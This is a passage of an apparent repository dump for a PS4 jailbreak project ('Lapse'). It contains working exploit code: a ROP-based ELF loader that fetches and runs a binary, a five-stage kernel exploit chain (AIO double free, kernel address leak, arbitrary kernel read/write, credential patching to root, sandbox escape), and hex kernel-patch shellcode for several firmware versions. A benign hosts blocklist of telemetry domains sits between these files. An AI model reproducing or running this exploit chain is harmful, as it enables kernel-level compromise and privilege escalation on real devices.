184 | fake_rop[i++] = g.get('pop_rax');
185 | fake_rop[i++] = 0x25n;
186 | fake_rop[i++] = syscall_wrapper;
187 |
188 | write64(add_rop_smash_code_store, 0xab00260325n);
189 | fake_rw[59] = (fake_frame & 0xffffffffn);
190 | rop_smash(fake_obj_arr[0]);
191 | }
192 |
193 |
194 | async function elf_run(elf_entry_point, payloadout) {
195 | logger.flush();
196 | const rwpipe = malloc(8);
197 | const rwpair = malloc(8);
198 | const args = malloc(0x30);
199 | const thr_handle_addr = malloc(8);
200 | const timespec_addr = malloc(16); // timespec structure: {tv_sec, tv_nsec}
201 |
202 | write32_uncompressed(rwpipe, ipv6_kernel_rw.data.pipe_read_fd);
203 | write32_uncompressed(rwpipe + 0x4n, ipv6_kernel_rw.data.pipe_write_fd);
204 |
205 | write32_uncompressed(rwpair, ipv6_kernel_rw.data.master_sock);
206 | write32_uncompressed(rwpair + 0x4n, ipv6_kernel_rw.data.victim_sock);
207 |
208 | // Setup timespec for nanosleep: 0.02 second delay
209 | write64_uncompressed(timespec_addr, 0n); // tv_sec = 0 second
210 | write64_uncompressed(timespec_addr + 8n, 250000000n); // tv_nsec = 10000000 nanoseconds
211 |
212 | // We are reusing syscall_wrapper from gettimeofdayAddr
213 | write64_uncompressed(args + 0x00n, syscall_wrapper - 0x7n); // arg1 = syscall wrapper
214 | write64_uncompressed(args + 0x08n, rwpipe); // arg2 = int *rwpipe[2]
215 | write64_uncompressed(args + 0x10n, rwpair); // arg3 = int *rwpair[2]
216 | write64_uncompressed(args + 0x18n, ipv6_kernel_rw.data.pipe_addr); // arg4 = uint64_t kpipe_addr
217 | write64_uncompressed(args + 0x20n, kernel.addr.data_base); // arg5 = uint64_t kdata_base_addr
218 | write64_uncompressed(args + 0x28n, payloadout); // arg6 = int *payloadout
219 |
220 | // Spawn elf in new thread, sleep, then exit
221 | spawn_thread_and_wait(thr_handle_addr, elf_entry_point, args, timespec_addr);
222 |
223 | // After this point we cannot use the ROP (process will exit)
224 | }
225 |
226 |
227 | async function elf_loader() {
228 | try {
229 |
230 | check_jailbroken();
231 |
232 | logger.log("Loading elfldr.elf from proxy");
233 | logger.flush();
234 |
235 | const elf_data = malloc(400*1024);
236 | let elf_size = fetch_file("elfldr.elf", elf_data);
237 |
238 | if(elf_size < 1000) {
239 | throw new Error("Something went wrong while reading elfldr.elf");
240 | }
241 | const elf_entry_point = await elf_parse(elf_data); // We pass the buffer pointer directly
242 |
243 | const payloadout = malloc(4);
244 | await elf_run(elf_entry_point, payloadout);
245 |
246 | logger.log("Done");
247 | logger.flush();
248 |
249 | } catch (e) {
250 | logger.log("elfloader js Error: " + e.message);
251 | logger.log(e.stack);
252 | throw e;
253 | }
254 | }
255 |
256 | elf_loader();
257 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/lapse_main.js:
--------------------------------------------------------------------------------
1 | /*
2 | PS4 Lapse - Main Execution
3 |
4 | Runs stages 0-5 (jailbreak), then calls run_payload() if defined.
5 | Append your payload after this file to chain execution.
6 | */
7 |
8 | // === Main Execution ===
9 |
10 | (function() {
11 | // Cleanup function - closes exploit resources
12 | function cleanup() {
13 | logger.log("Cleaning up exploit resources...");
14 |
15 | // Close block/unblock socket pair
16 | if (typeof block_fd !== 'undefined' && block_fd !== 0xffffffffffffffffn) {
17 | syscall(SYSCALL.close, block_fd);
18 | }
19 | if (typeof unblock_fd !== 'undefined' && unblock_fd !== 0xffffffffffffffffn) {
20 | syscall(SYSCALL.close, unblock_fd);
21 | }
22 |
23 | // Close all sds sockets
24 | if (typeof sds !== 'undefined' && sds !== null) {
25 | for (let i = 0; i < sds.length; i++) {
26 | if (sds[i] !== 0xffffffffffffffffn) {
27 | syscall(SYSCALL.close, sds[i]);
28 | }
29 | }
30 | }
31 |
32 | // Close all sds_alt sockets
33 | if (typeof sds_alt !== 'undefined' && sds_alt !== null) {
34 | for (let i = 0; i < sds_alt.length; i++) {
35 | if (sds_alt[i] !== 0xffffffffffffffffn) {
36 | syscall(SYSCALL.close, sds_alt[i]);
37 | }
38 | }
39 | }
40 |
41 | // Restore CPU core and rtprio
42 | if (typeof prev_core !== 'undefined' && prev_core !== -1) {
43 | pin_to_core(prev_core);
44 | }
45 | if (typeof prev_rtprio !== 'undefined' && prev_rtprio !== 0n) {
46 | set_rtprio(prev_rtprio);
47 | }
48 |
49 | logger.log("Exploit cleanup complete");
50 | logger.flush();
51 | }
52 |
53 | try {
54 | logger.log("=== PS4 Lapse Jailbreak ===");
55 | logger.flush();
56 |
57 | FW_VERSION = get_fwversion();
58 | logger.log("Detected PS4 firmware: " + FW_VERSION);
59 | logger.flush();
60 |
61 | function compare_version(a, b) {
62 | const [amaj, amin] = a.split('.').map(Number);
63 | const [bmaj, bmin] = b.split('.').map(Number);
64 | return amaj === bmaj ? amin - bmin : amaj - bmaj;
65 | }
66 |
67 | if (compare_version(FW_VERSION, "8.00") < 0 || compare_version(FW_VERSION, "12.02") > 0) {
68 | logger.log("Unsupported PS4 firmware\nSupported: 8.00-12.02\nAborting...");
69 | logger.flush();
70 | send_notification("Unsupported PS4 firmware\nAborting...");
71 | return;
72 | }
73 |
74 | kernel_offset = get_kernel_offset(FW_VERSION);
75 | logger.log("Kernel offsets loaded for FW " + FW_VERSION);
76 | logger.flush();
77 |
78 | // === STAGE 0: Setup ===
79 | logger.log("\n=== STAGE 0: Setup ===");
80 | const setup_success = setup();
81 | if (!setup_success) {
82 | logger.log("Setup failed");
83 | send_notification("Lapse Failed\nReboot and try again");
84 | cleanup();
85 | return;
86 | }
87 | logger.log("Setup completed");
88 | logger.flush();
89 |
90 | // === STAGE 1 ===
91 | logger.log("\n=== STAGE 1: Double-free AIO ===");
92 | const stage1_start = Date.now();
93 | const sd_pair = double_free_reqs2();
94 | const stage1_time = Date.now() - stage1_start;
95 |
96 | if (sd_pair === null) {
97 | logger.log("[FAILED] Stage 1");
98 | send_notification("Lapse Failed\nReboot and try again");
99 | cleanup();
100 | return;
101 | }
102 | logger.log("[OK] Stage 1: " + stage1_time + "ms");
103 | logger.flush();
104 |
105 | // === STAGE 2 ===
106 | logger.log("\n=== STAGE 2: Leak kernel addresses ===");
107 | const stage2_start = Date.now();
108 | const leak_result = leak_kernel_addrs(sd_pair, sds);
109 | const stage2_time = Date.now() - stage2_start;
110 |
111 | if (leak_result === null) {
112 | logger.log("[FAILED] Stage 2");
113 | send_notification("Lapse Failed\nReboot and try again");
114 | cleanup();
115 | return;
116 | }
117 | logger.log("[OK] Stage 2: " + stage2_time + "ms");
118 | logger.flush();
119 |
120 | // === STAGE 3 ===
121 | logger.log("\n=== STAGE 3: Double free SceKernelAioRWRequest ===");
122 | const stage3_start = Date.now();
123 | const pktopts_sds = double_free_reqs1(
124 | leak_result.reqs1_addr,
125 | leak_result.target_id,
126 | leak_result.evf,
127 | sd_pair[0],
128 | sds,
129 | sds_alt,
130 | leak_result.fake_reqs3_addr
131 | );
132 | const stage3_time = Date.now() - stage3_start;
133 |
134 | syscall(SYSCALL.close, BigInt(leak_result.fake_reqs3_sd));
135 |
136 | if (pktopts_sds === null) {
137 | logger.log("[FAILED] Stage 3");
138 | send_notification("Lapse Failed\nReboot and try again");
139 | cleanup();
140 | return;
141 | }
142 | logger.log("[OK] Stage 3: " + stage3_time + "ms");
143 | logger.flush();
144 |
145 | // === STAGE 4 ===
146 | logger.log("\n=== STAGE 4: Get arbitrary kernel read/write ===");
147 | const stage4_start = Date.now();
148 | const arw_result = make_kernel_arw(
149 | pktopts_sds,
150 | leak_result.reqs1_addr,
151 | leak_result.kernel_addr,
152 | sds,
153 | sds_alt,
154 | leak_result.aio_info_addr
155 | );
156 | const stage4_time = Date.now() - stage4_start;
157 |
158 | if (arw_result === null) {
159 | logger.log("[FAILED] Stage 4");
160 | send_notification("Lapse Failed\nReboot and try again");
161 | cleanup();
162 | return;
163 | }
164 | logger.log("[OK] Stage 4: " + stage4_time + "ms");
165 | logger.flush();
166 |
167 | // === STAGE 5: Jailbreak ===
168 | logger.log("\n=== STAGE 5: Jailbreak ===");
169 | const stage5_start = Date.now();
170 |
171 | const OFFSET_P_UCRED = 0x40n;
172 | const proc = kernel.addr.curproc;
173 |
174 | // Calculate kernel base
175 | kernel.addr.base = kernel.addr.inside_kdata - kernel_offset.EVF_OFFSET;
176 | logger.log("Kernel base: " + hex(kernel.addr.base));
177 |
178 | const uid_before = Number(syscall(SYSCALL.getuid));
179 | const sandbox_before = Number(syscall(SYSCALL.is_in_sandbox));
180 | logger.log("BEFORE: uid=" + uid_before + ", sandbox=" + sandbox_before);
181 |
182 | // Patch ucred
183 | const proc_fd = kernel.read_qword(proc + kernel_offset.PROC_FD);
184 | const ucred = kernel.read_qword(proc + OFFSET_P_UCRED);
185 |
186 | kernel.write_dword(ucred + 0x04n, 0n); // cr_uid
187 | kernel.write_dword(ucred + 0x08n, 0n); // cr_ruid
188 | kernel.write_dword(ucred + 0x0Cn, 0n); // cr_svuid
189 | kernel.write_dword(ucred + 0x10n, 1n); // cr_ngroups
190 | kernel.write_dword(ucred + 0x14n, 0n); // cr_rgid
191 |
192 | const prison0 = kernel.read_qword(kernel.addr.base + kernel_offset.PRISON0);
193 | kernel.write_qword(ucred + 0x30n, prison0);
194 |
195 | kernel.write_qword(ucred + 0x60n, 0xFFFFFFFFFFFFFFFFn); // sceCaps
196 | kernel.write_qword(ucred + 0x68n, 0xFFFFFFFFFFFFFFFFn);
197 |
198 | const rootvnode = kernel.read_qword(kernel.addr.base + kernel_offset.ROOTVNODE);
199 | kernel.write_qword(proc_fd + 0x10n, rootvnode); // fd_rdir
200 | kernel.write_qword(proc_fd + 0x18n, rootvnode); // fd_jdir
201 |
202 | const uid_after = Number(syscall(SYSCALL.getuid));
203 | const sandbox_after = Number(syscall(SYSCALL.is_in_sandbox));
204 | logger.log("AFTER: uid=" + uid_after + ", sandbox=" + sandbox_after);
205 |
206 | if (uid_after === 0 && sandbox_after === 0) {
207 | logger.log("Sandbox escape complete!");
208 | } else {
209 | logger.log("[WARNING] Sandbox escape may have failed");
210 | }
211 | logger.flush();
212 |
213 | // === Apply kernel patches via kexec ===
214 | // Uses syscall_raw() which sets rax manually for syscalls without gadgets
215 | logger.log("Applying kernel patches...");
216 | logger.flush();
217 | const kpatch_result = apply_kernel_patches(FW_VERSION);
218 | if (kpatch_result) {
219 | logger.log("Kernel patches applied successfully!");
220 |
221 | // Comprehensive kernel patch verification
222 | logger.log("Verifying kernel patches...");
223 | let all_patches_ok = true;
224 |
225 | // 1. Verify mmap RWX patch (0x33 -> 0x37 at two locations)
226 | const mmap_offsets = get_mmap_patch_offsets(FW_VERSION);
227 | if (mmap_offsets) {
228 | const byte1 = Number(ipv6_kernel_rw.ipv6_kread8(kernel.addr.base + BigInt(mmap_offsets[0])) & 0xffn);
229 | const byte2 = Number(ipv6_kernel_rw.ipv6_kread8(kernel.addr.base + BigInt(mmap_offsets[1])) & 0xffn);
230 | if (byte1 === 0x37 && byte2 === 0x37) {
231 | logger.log(" [OK] mmap RWX patch");
232 | } else {
233 | logger.log(" [FAIL] mmap RWX: [" + hex(mmap_offsets[0]) + "]=" + hex(byte1) + " [" + hex(mmap_offsets[1]) + "]=" + hex(byte2));
234 | all_patches_ok = false;
235 | }
236 | } else {
237 | logger.log(" [SKIP] mmap RWX (no offsets for FW " + FW_VERSION + ")");
238 | }
239 |
240 | // 2. Test mmap RWX actually works by trying to allocate RWX memory
241 | try {
242 | const PROT_RWX = 0x7n; // READ | WRITE | EXEC
243 | const MAP_ANON = 0x1000n;
244 | const MAP_PRIVATE = 0x2n;
245 | const test_addr = syscall(SYSCALL.mmap, 0n, 0x1000n, PROT_RWX, MAP_PRIVATE | MAP_ANON, 0xffffffffffffffffn, 0n);
246 | if (test_addr < 0xffff800000000000n) {
247 | logger.log(" [OK] mmap RWX functional @ " + hex(test_addr));
248 | // Unmap the test allocation
249 | syscall(SYSCALL.munmap, test_addr, 0x1000n);
250 | } else {
251 | logger.log(" [FAIL] mmap RWX functional: " + hex(test_addr));
252 | all_patches_ok = false;
253 | }
254 | } catch (e) {
255 | logger.log(" [FAIL] mmap RWX test error: " + e.message + "\n" + e.stack);
256 | all_patches_ok = false;
257 | }
258 |
259 | if (all_patches_ok) {
260 | logger.log("All kernel patches verified OK!");
261 | } else {
262 | logger.log("[WARNING] Some kernel patches may have failed");
263 | }
264 | } else {
265 | logger.log("[WARNING] Kernel patches failed - continuing without patches");
266 | }
267 |
268 | const stage5_time = Date.now() - stage5_start;
269 | logger.log("[OK] Stage 5: " + stage5_time + "ms - JAILBROKEN");
270 | logger.flush();
271 |
272 | const total_time = stage1_time + stage2_time + stage3_time + stage4_time + stage5_time;
273 | logger.log("\n========================================");
274 | logger.log(" JAILBREAK COMPLETE! Total: " + total_time + "ms");
275 | logger.log("========================================");
276 | logger.flush();
277 |
278 |
279 | } catch (e) {
280 | logger.log("Lapse Error: " + e.message);
281 | logger.log(e.stack);
282 | logger.flush();
283 | send_notification("Lapse Failed\nReboot and try again");
284 | cleanup();
285 | return;
286 | }
287 |
288 | // Cleanup on success too
289 | cleanup();
290 | })();
291 |
--------------------------------------------------------------------------------
/hosts.txt:
--------------------------------------------------------------------------------
1 | # PlayStation Telemetry + Firmware Updates
2 | # https://github.com/Al-Azif/exploit-host-cc/blob/e62af4f371b994d4a62e941df8d3e2d2a1637d7e/main.py
3 | # urls from: https://github.com/illusion0001/hosts/blob/main/hosts
4 |
5 | #protect Y2JB
6 | youtube.com
7 | gstatic.com
8 |
9 |
10 | tmdb.np.dl.playstation.net
11 | ps5.np.playstation.net
12 | ps4.np.playstation.net
13 | urlconfig.api.playstation.com
14 | smetrics.aem.playstation.com
15 | envelope1.np.dl.playstation.net
16 | envelope2.np.dl.playstation.net
17 | envelope3.np.dl.playstation.net
18 | cc.prod.gaikai.com
19 | telemetry-console.api.playstation.com
20 | ena.net.playstation.net
21 | crepo.ww.dl.playstation.net
22 | zeke.scea.com
23 | qgve.dl.playstation.net
24 | ps4updptl.sa.np.community.playstation.net
25 | # This one is always being checked every few seconds on PS4
26 | event.api.np.km.playstation.net
27 | static-resource.np.community.playstation.net
28 | update.net.playstation.net
29 | us.np.stun.playstation.net
30 | ps4-system.sec.np.dl.playstation.net
31 | rnps-crl.dl.playstation.net
32 | friends.rnps.dl.playstation.net
33 | party.rnps.dl.playstation.net
34 | csla.np.community.playstation.net
35 | fswitch.dl.playstation.net
36 | cfss.dunbar.scea.com
37 | uam-fs.rnps.dl.playstation.net
38 | settings.rnps.dl.playstation.net
39 | millenniumfalcon.rnps.dl.playstation.net
40 | notification-overlay.rnps.dl.playstation.net
41 | profile.rnps.dl.playstation.net
42 | search.rnps.dl.playstation.net
43 | monte-carlo.rnps.dl.playstation.net
44 | gaming-lounge.rnps.dl.playstation.net
45 | trophy.rnps.dl.playstation.net
46 | lfps-bc.rnps.dl.playstation.net
47 | igc-browse.rnps.dl.playstation.net
48 | bgft.rnps.dl.playstation.net
49 | service-hub-psnow.rnps.dl.playstation.net
50 | game-hub.rnps.dl.playstation.net
51 | action-cards-host-app.rnps.dl.playstation.net
52 | service-hub-psplus.rnps.dl.playstation.net
53 | titlestore-preview.rnps.dl.playstation.net
54 | broadcast.rnps.dl.playstation.net
55 | profile-dialog.rnps.dl.playstation.net
56 | elysion.rnps.dl.playstation.net
57 | agent-popupgui.rnps.dl.playstation.net
58 | ppr-bgs.rnps.dl.playstation.net
59 | universal-checkout.rnps.dl.playstation.net
60 | explore-hub.rnps.dl.playstation.net
61 | x-wing.rnps.dl.playstation.net
62 | system-message-client.rnps.dl.playstation.net
63 | library.rnps.dl.playstation.net
64 | cosmiccube.rnps.dl.playstation.net
65 | millenniumfalcon-dialog.rnps.dl.playstation.net
66 | game-hub-preview-launcher.rnps.dl.playstation.net
67 | g2p-dialog.rnps.dl.playstation.net
68 | player-review.rnps.dl.playstation.net
69 | unsupported-title-hub.rnps.dl.playstation.net
70 | compilation-disc-hub.rnps.dl.playstation.net
71 | legal-docs.rnps.dl.playstation.net
72 | screen-share.rnps.dl.playstation.net
73 | onboard-download.rnps.dl.playstation.net
74 | wishlist.rnps.dl.playstation.net
75 | rnps-vr-onboarding.rnps.dl.playstation.net
76 | ppr-crl.rnps.dl.playstation.net
77 | home.rnps.dl.playstation.net
78 | control-center.rnps.dl.playstation.net
79 | player-selection-dialog.rnps.dl.playstation.net
80 | invitation-dialog.rnps.dl.playstation.net
81 | cfss.crs.playstation.net
82 | ps4updptl.jp.np.community.playstation.net
83 | djp01.ps3.update.playstation.net
84 | dus01.ps3.update.playstation.net
85 | deu01.ps3.update.playstation.net
86 | dkr01.ps3.update.playstation.net
87 | duk01.ps3.update.playstation.net
88 | dmx01.ps3.update.playstation.net
89 | dau01.ps3.update.playstation.net
90 | dsa01.ps3.update.playstation.net
91 | dtw01.ps3.update.playstation.net
92 | dru01.ps3.update.playstation.net
93 | dcn01.ps3.update.playstation.net
94 | dhk01.ps3.update.playstation.net
95 | dbr01.ps3.update.playstation.net
96 | djp01.ps4.update.playstation.net
97 | dus01.ps4.update.playstation.net
98 | deu01.ps4.update.playstation.net
99 | dkr01.ps4.update.playstation.net
100 | duk01.ps4.update.playstation.net
101 | dmx01.ps4.update.playstation.net
102 | dau01.ps4.update.playstation.net
103 | dsa01.ps4.update.playstation.net
104 | dtw01.ps4.update.playstation.net
105 | dru01.ps4.update.playstation.net
106 | dcn01.ps4.update.playstation.net
107 | dhk01.ps4.update.playstation.net
108 | dbr01.ps4.update.playstation.net
109 | djp01.ps5.update.playstation.net
110 | dus01.ps5.update.playstation.net
111 | deu01.ps5.update.playstation.net
112 | dkr01.ps5.update.playstation.net
113 | duk01.ps5.update.playstation.net
114 | dmx01.ps5.update.playstation.net
115 | dau01.ps5.update.playstation.net
116 | dsa01.ps5.update.playstation.net
117 | dtw01.ps5.update.playstation.net
118 | dru01.ps5.update.playstation.net
119 | dcn01.ps5.update.playstation.net
120 | dhk01.ps5.update.playstation.net
121 | dbr01.ps5.update.playstation.net
122 | djp01.psp2.update.playstation.net
123 | dus01.psp2.update.playstation.net
124 | deu01.psp2.update.playstation.net
125 | dkr01.psp2.update.playstation.net
126 | duk01.psp2.update.playstation.net
127 | dmx01.psp2.update.playstation.net
128 | dau01.psp2.update.playstation.net
129 | dsa01.psp2.update.playstation.net
130 | dtw01.psp2.update.playstation.net
131 | dru01.psp2.update.playstation.net
132 | dcn01.psp2.update.playstation.net
133 | dhk01.psp2.update.playstation.net
134 | dbr01.psp2.update.playstation.net
135 | fjp01.ps3.update.playstation.net
136 | fus01.ps3.update.playstation.net
137 | feu01.ps3.update.playstation.net
138 | fkr01.ps3.update.playstation.net
139 | fuk01.ps3.update.playstation.net
140 | fmx01.ps3.update.playstation.net
141 | fau01.ps3.update.playstation.net
142 | fsa01.ps3.update.playstation.net
143 | ftw01.ps3.update.playstation.net
144 | fru01.ps3.update.playstation.net
145 | fcn01.ps3.update.playstation.net
146 | fhk01.ps3.update.playstation.net
147 | fbr01.ps3.update.playstation.net
148 | fjp01.ps4.update.playstation.net
149 | fus01.ps4.update.playstation.net
150 | feu01.ps4.update.playstation.net
151 | fkr01.ps4.update.playstation.net
152 | fuk01.ps4.update.playstation.net
153 | fmx01.ps4.update.playstation.net
154 | fau01.ps4.update.playstation.net
155 | fsa01.ps4.update.playstation.net
156 | ftw01.ps4.update.playstation.net
157 | fru01.ps4.update.playstation.net
158 | fcn01.ps4.update.playstation.net
159 | fhk01.ps4.update.playstation.net
160 | fbr01.ps4.update.playstation.net
161 | fjp01.ps5.update.playstation.net
162 | fus01.ps5.update.playstation.net
163 | feu01.ps5.update.playstation.net
164 | fkr01.ps5.update.playstation.net
165 | fuk01.ps5.update.playstation.net
166 | fmx01.ps5.update.playstation.net
167 | fau01.ps5.update.playstation.net
168 | fsa01.ps5.update.playstation.net
169 | ftw01.ps5.update.playstation.net
170 | fru01.ps5.update.playstation.net
171 | fcn01.ps5.update.playstation.net
172 | fhk01.ps5.update.playstation.net
173 | fbr01.ps5.update.playstation.net
174 | fjp01.psp2.update.playstation.net
175 | fus01.psp2.update.playstation.net
176 | feu01.psp2.update.playstation.net
177 | fkr01.psp2.update.playstation.net
178 | fuk01.psp2.update.playstation.net
179 | fmx01.psp2.update.playstation.net
180 | fau01.psp2.update.playstation.net
181 | fsa01.psp2.update.playstation.net
182 | ftw01.psp2.update.playstation.net
183 | fru01.psp2.update.playstation.net
184 | fcn01.psp2.update.playstation.net
185 | fhk01.psp2.update.playstation.net
186 | fbr01.psp2.update.playstation.net
187 | hjp01.ps4.update.playstation.net
188 | hus01.ps4.update.playstation.net
189 | heu01.ps4.update.playstation.net
190 | hkr01.ps4.update.playstation.net
191 | huk01.ps4.update.playstation.net
192 | hmx01.ps4.update.playstation.net
193 | hau01.ps4.update.playstation.net
194 | hsa01.ps4.update.playstation.net
195 | htw01.ps4.update.playstation.net
196 | hru01.ps4.update.playstation.net
197 | hcn01.ps4.update.playstation.net
198 | hhk01.ps4.update.playstation.net
199 | hbr01.ps4.update.playstation.net
200 | hjp01.ps5.update.playstation.net
201 | hus01.ps5.update.playstation.net
202 | heu01.ps5.update.playstation.net
203 | hkr01.ps5.update.playstation.net
204 | huk01.ps5.update.playstation.net
205 | hmx01.ps5.update.playstation.net
206 | hau01.ps5.update.playstation.net
207 | hsa01.ps5.update.playstation.net
208 | htw01.ps5.update.playstation.net
209 | hru01.ps5.update.playstation.net
210 | hcn01.ps5.update.playstation.net
211 | hhk01.ps5.update.playstation.net
212 | hbr01.ps5.update.playstation.net
213 |
214 | # Tenda device listener?
215 | # https://github.com/mrxehmad/api.cloud.tenda.com.cn
216 | api.cloud.tenda.com.cn
217 |
218 | # Insomniac Games
219 | i31.api.wwsga.me
220 |
221 | # Windows Telemetry
222 | # https://github.com/W4RH4WK/Debloat-Windows-10/blob/d87b4275407e2d8953c1c1d17530b0751c0c97bc/scripts/block-telemetry.ps1#L22-L198
223 | 184-86-53-99.deploy.static.akamaitechnologies.com
224 | a-0001.a-msedge.net
225 | a-0002.a-msedge.net
226 | a-0003.a-msedge.net
227 | a-0004.a-msedge.net
228 | a-0005.a-msedge.net
229 | a-0006.a-msedge.net
230 | a-0007.a-msedge.net
231 | a-0008.a-msedge.net
232 | a-0009.a-msedge.net
233 | a1621.g.akamai.net
234 | a1856.g2.akamai.net
235 | a1961.g.akamai.net
236 | a978.i6g1.akamai.net
237 | a.ads1.msn.com
238 | a.ads2.msads.net
239 | a.ads2.msn.com
240 | ac3.msn.com
241 | ad.doubleclick.net
242 | adnexus.net
243 | adnxs.com
244 | ads1.msads.net
245 | ads1.msn.com
246 | ads.msn.com
247 | aidps.atdmt.com
248 | aka-cdn-ns.adtech.de
249 | a-msedge.net
250 | any.edge.bing.com
251 | a.rad.msn.com
252 | az361816.vo.msecnd.net
253 | az512334.vo.msecnd.net
254 | b.ads1.msn.com
255 | b.ads2.msads.net
256 | bingads.microsoft.com
257 | b.rad.msn.com
258 | bs.serving-sys.com
259 | c.atdmt.com
260 | cdn.atdmt.com
261 | cds26.ams9.msecn.net
262 | choice.microsoft.com
263 | choice.microsoft.com.nsatc.net
264 | compatexchange.cloudapp.net
265 | corpext.msitadfs.glbdns2.microsoft.com
266 | corp.sts.microsoft.com
267 | cs1.wpc.v0cdn.net
268 | db3aqu.atdmt.com
269 | df.telemetry.microsoft.com
270 | diagnostics.support.microsoft.com
271 | e2835.dspb.akamaiedge.net
272 | e7341.g.akamaiedge.net
273 | e7502.ce.akamaiedge.net
274 | e8218.ce.akamaiedge.net
275 | ec.atdmt.com
276 | fe2.update.microsoft.com.akadns.net
277 | feedback.microsoft-hohm.com
278 | feedback.search.microsoft.com
279 | feedback.windows.com
280 | flex.msn.com
281 | g.msn.com
282 | h1.msn.com
283 | h2.msn.com
284 | hostedocsp.globalsign.com
285 | i1.services.social.microsoft.com
286 | i1.services.social.microsoft.com.nsatc.net
287 | lb1.www.ms.akadns.net
288 | live.rads.msn.com
289 | m.adnxs.com
290 | msedge.net
291 | msnbot-65-55-108-23.search.msn.com
292 | msntest.serving-sys.com
293 | oca.telemetry.microsoft.com
294 | oca.telemetry.microsoft.com.nsatc.net
295 | onesettings-db5.metron.live.nsatc.net
296 | pre.footprintpredict.com
297 | preview.msn.com
298 | rad.live.com
299 | rad.msn.com
300 | redir.metaservices.microsoft.com
301 | reports.wes.df.telemetry.microsoft.com
302 | schemas.microsoft.akadns.net
303 | secure.adnxs.com
304 | secure.flashtalking.com
305 | services.wes.df.telemetry.microsoft.com
306 | settings-sandbox.data.microsoft.com
307 | sls.update.microsoft.com.akadns.net
308 | sqm.df.telemetry.microsoft.com
309 | sqm.telemetry.microsoft.com
310 | sqm.telemetry.microsoft.com.nsatc.net
311 | ssw.live.com
312 | static.2mdn.net
313 | statsfe1.ws.microsoft.com
314 | statsfe2.update.microsoft.com.akadns.net
315 | statsfe2.ws.microsoft.com
316 | survey.watson.microsoft.com
317 | telecommand.telemetry.microsoft.com
318 | telecommand.telemetry.microsoft.com.nsatc.net
319 | telemetry.appex.bing.net
320 | telemetry.microsoft.com
321 | telemetry.urs.microsoft.com
322 | vortex-bn2.metron.live.com.nsatc.net
323 | vortex-cy2.metron.live.com.nsatc.net
324 | vortex.data.microsoft.com
325 | vortex-sandbox.data.microsoft.com
326 | vortex-win.data.microsoft.com
327 | cy2.vortex.data.microsoft.com.akadns.net
328 | watson.live.com
329 | watson.microsoft.com
330 | watson.ppe.telemetry.microsoft.com
331 | watson.telemetry.microsoft.com
332 | watson.telemetry.microsoft.com.nsatc.net
333 | wes.df.telemetry.microsoft.com
334 | win10.ipv6.microsoft.com
335 | www.bingads.microsoft.com
336 | www.go.microsoft.akadns.net
337 | client.wns.windows.com
338 | wdcpalt.microsoft.com
339 | settings-ssl.xboxlive.com
340 | settings-ssl.xboxlive.com-c.edgekey.net
341 | settings-ssl.xboxlive.com-c.edgekey.net.globalredir.akadns.net
342 | e87.dspb.akamaidege.net
343 | insiderservice.microsoft.com
344 | insiderservice.trafficmanager.net
345 | e3843.g.akamaiedge.net
346 | flightingserviceweurope.cloudapp.net
347 | static.ads-twitter.com
348 | www-google-analytics.l.google.com
349 | p.static.ads-twitter.com
350 | hubspot.net.edge.net
351 | e9483.a.akamaiedge.net
352 | stats.g.doubleclick.net
353 | stats.l.doubleclick.net
354 | adservice.google.de
355 | adservice.google.com
356 | googleads.g.doubleclick.net
357 | pagead46.l.doubleclick.net
358 | hubspot.net.edgekey.net
359 | insiderppe.cloudapp.net
360 | livetileedge.dsx.mp.microsoft.com
361 | fe2.update.microsoft.com.akadns.net
362 | s0.2mdn.net
363 | statsfe2.update.microsoft.com.akadns.net
364 | survey.watson.microsoft.com
365 | view.atdmt.com
366 | watson.microsoft.com
367 | watson.ppe.telemetry.microsoft.com
368 | watson.telemetry.microsoft.com
369 | watson.telemetry.microsoft.com.nsatc.net
370 | wes.df.telemetry.microsoft.com
371 | m.hotmail.com
372 | apps.skype.com
373 | c.msn.com
374 | pricelist.skype.com
375 | s.gateway.messenger.live.com
376 | ui.skype.com
377 |
378 | # Nvidia
379 | gfwsl.geforce.com
380 | gfe.geforce.com
381 | telemetry.nvidia.com
382 | gfe.nvidia.com
383 | telemetry.gfe.nvidia.com
384 | # This one is always being checked every few seconds
385 | events.gfe.nvidia.com
386 | ssl.google-analytics.com
387 | nvidia.tt.omtrdc.net
388 | services.gfe.nvidia.com
389 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/kernel_offset.js:
--------------------------------------------------------------------------------
1 | // PS4 Kernel Offsets for Lapse exploit
2 | // Source: https://github.com/Helloyunho/yarpe/blob/main/payloads/lapse.py
3 |
4 | // Kernel patch shellcode (hex strings) - patches security checks in kernel
5 | // These are executed via kexec after jailbreak to enable full functionality
6 | const kpatch_shellcode = {
7 | "9.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3",
8 | "9.03": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3",
9 | "9.50": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3",
